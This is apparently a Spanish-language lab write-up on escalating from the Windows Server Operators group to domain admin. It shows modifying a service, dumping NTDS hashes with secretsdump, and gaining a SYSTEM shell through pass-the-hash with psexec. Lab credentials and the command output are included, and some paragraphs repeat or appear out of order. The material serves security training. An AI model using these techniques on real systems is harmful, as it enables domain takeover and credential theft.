El grupo permite a los miembros administrar servidores Windows sin necesidad de que se les asignen privilegios de administrador de dominio. Es un grupo con muchos privilegios que puede iniciar sesión localmente en servidores, incluidos los controladores de dominio.
La pertenencia a este grupo confiere poder SeBackupPrivilegey SeRestorePrivilegeprivilegios y la capacidad de controlar los servicios locales.
Consulta del servicio AppReadiness
Examinemos el servicio AppReadiness. Podemos confirmar que este servicio se inicia como SYSTEM mediante la utilidad sc.exe.
Comprobación de permisos de servicio con PsService
C:\htb> c:\Tools\PsService.exe security AppReadiness
PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com
SERVICE_NAME: AppReadiness
DISPLAY_NAME: App Readiness
ACCOUNT: LocalSystem
SECURITY:
[ALLOW] NT AUTHORITY\SYSTEM
Query status
Query Config
Interrogate
Enumerate Dependents
Pause/Resume
Start
Stop
User-Defined Control
Read Permissions
[ALLOW] BUILTIN\Administrators
All
[ALLOW] NT AUTHORITY\INTERACTIVE
Query status
Query Config
Interrogate
Enumerate Dependents
User-Defined Control
Read Permissions
[ALLOW] NT AUTHORITY\SERVICE
Query status
Query Config
Interrogate
Enumerate Dependents
User-Defined Control
Read Permissions
[ALLOW] BUILTIN\Server Operators
All
Comprobar la pertenencia al grupo de administradores locales
Echemos un vistazo a los miembros actuales del grupo de administradores locales y confirmemos que nuestra cuenta de destino no está presente.
C:\htb> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.
Modificación de la ruta binaria del servicio
Cambiemos la ruta binaria para ejecutar un comando que agregue nuestro usuario actual al grupo de administradores locales predeterminado.
El inicio del servicio falla, lo cual es lo esperado.
C:\htb> sc start AppReadiness
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
Confirmar la membresía del grupo de administradores locales
Si verificamos la membresía del grupo de administradores, vemos que el comando se ejecutó exitosamente.
C:\htb> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
server_adm
The command completed successfully.
Confirmar el acceso de administrador local en el controlador de dominio
Desde aquí, tenemos control total sobre el controlador de dominio y podemos recuperar todas las credenciales de la base de datos NTDS y acceder a otros sistemas y realizar tareas posteriores a la explotación.
Extracción de hashes NTLM del controlador de dominio
afsh4ck@kali$ impacket-secretsdump server_adm@10.129.43.9 -just-dc-user administrator
Impacket v0.9.22.dev1+20200929.152157.fe642b24 - Copyright 2020 SecureAuth Corporation
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43
Administrator:aes128-cts-hmac-sha1-96:94c300d0e47775b407f2496a5cca1a0a
Administrator:des-cbc-md5:d60dfbbf20548938
[*] Cleaning up...
Caso práctico
Objetivo: 10.129.43.43 (ACADEMY-WINLPE-SRV01)
RDP con el usuario "server_adm" y la contraseña "HTB_@cademy_stdnt!"
Escale los privilegios utilizando los métodos que se muestran en esta sección y envíe el contenido de la flag ubicada en c:\Users\Administrator\Desktop\ServerOperators\flag.txt
Comprobación de permisos de servicio con PsService
PS C:\tools> c:\Tools\PsService.exe security AppReadiness
PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com
SERVICE_NAME: AppReadiness
DISPLAY_NAME: App Readiness
ACCOUNT: LocalSystem
SECURITY:
[ALLOW] NT AUTHORITY\SYSTEM
Query status
Query Config
Interrogate
Enumerate Dependents
Pause/Resume
Start
Stop
User-Defined Control
Read Permissions
[ALLOW] BUILTIN\Administrators
All
[ALLOW] NT AUTHORITY\INTERACTIVE
Query status
Query Config
Interrogate
Enumerate Dependents
User-Defined Control
Read Permissions
[ALLOW] NT AUTHORITY\SERVICE
Query status
Query Config
Interrogate
Enumerate Dependents
User-Defined Control
Read Permissions
[ALLOW] BUILTIN\Server Operators
All
Comprobación de administradores locales
Al comprobar los administradores locales vemos que el usuario server_adm no está en el grupo Administrators:
PS C:\tools> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.
El inicio del servicio falla, lo cual es lo esperado.
C:\htb> sc start AppReadiness
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
Confirmar la membresía del grupo de administradores locales
Vemos que ya estamos dentro del grupo de administradores locales.
C:\Users\server_adm> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
server_adm
The command completed successfully.
En este punto podríamos acceder al Domain Controller y extraer todos los hashes de los usuarios de Active Directory, lo que nos daría la contraseña del usuario Administrator (que necesitamos para acceder a la flag).
Un escaneo de Nmap nos confirma que la máquina en la que estamos es el Controlador de Dominio:
afsh4ck@kali$ sudo nmap -v -A -sCV -T5 10.129.162.0/24
Nmap scan report for 10.129.162.164
Host is up (0.042s latency).
Not shown: 986 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-21 16:27:30Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: INLANEFREIGHT.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: INLANEFREIGHT.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: INLANEFREIGHT
| NetBIOS_Domain_Name: INLANEFREIGHT
| NetBIOS_Computer_Name: WINLPE-DC01
| DNS_Domain_Name: INLANEFREIGHT.LOCAL
| DNS_Computer_Name: WINLPE-DC01.INLANEFREIGHT.LOCAL
Confirmación de acceso como administrador en el DC
Al intentar acceder por Pass the Hash nos salta este mensaje:
Es un mensaje típico de seguridad al intentar hacer un Pass the Hash, ya que no proporcionamos ninguna contraseña. Para evitar esto vamos a loguearnos de nuevo con el usuario server_adm.
Vamos a habilitarlo agregando una nueva clave de registro DisableRestrictedAdmin(REG_DWORD) en HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa.
Si la técnica anterior falla podemos hacer el Pass the Hash con PsExec para ganar una shell:
afsh4ck@kali$ impacket-psexec -hashes :7796ee39fd3a9c3a1844556115ae1a54 administrator@10.129.162.164 cmd
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.129.162.164.....
[*] Found writable share ADMIN$
[*] Uploading file MqPDHfSA.exe
[*] Opening SVCManager on 10.129.162.164.....
[*] Creating service LVBE on 10.129.162.164.....
[*] Starting service LVBE.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Acceso a la flag
C:\Windows\system32> type c:\Users\Administrator\Desktop\ServerOperators\flag.txt
S3rver_0perators_@ll_************
Podemos utilizar el visor/controlador de servicios , que es parte de la suite Sysinternals, para verificar los permisos del servicio. PsService funciona de manera muy similar a la utilidad sc y puede mostrar el estado y las configuraciones del servicio y también le permite iniciar, detener, pausar, reanudar y reiniciar servicios tanto localmente como en hosts remotos.
Esto confirma que el grupo Server Operators tiene el derecho de acceso , lo que nos da control total sobre este servicio.
Esto confirma que el grupo Server Operators tiene el derecho de acceso , lo que nos da control total sobre este servicio.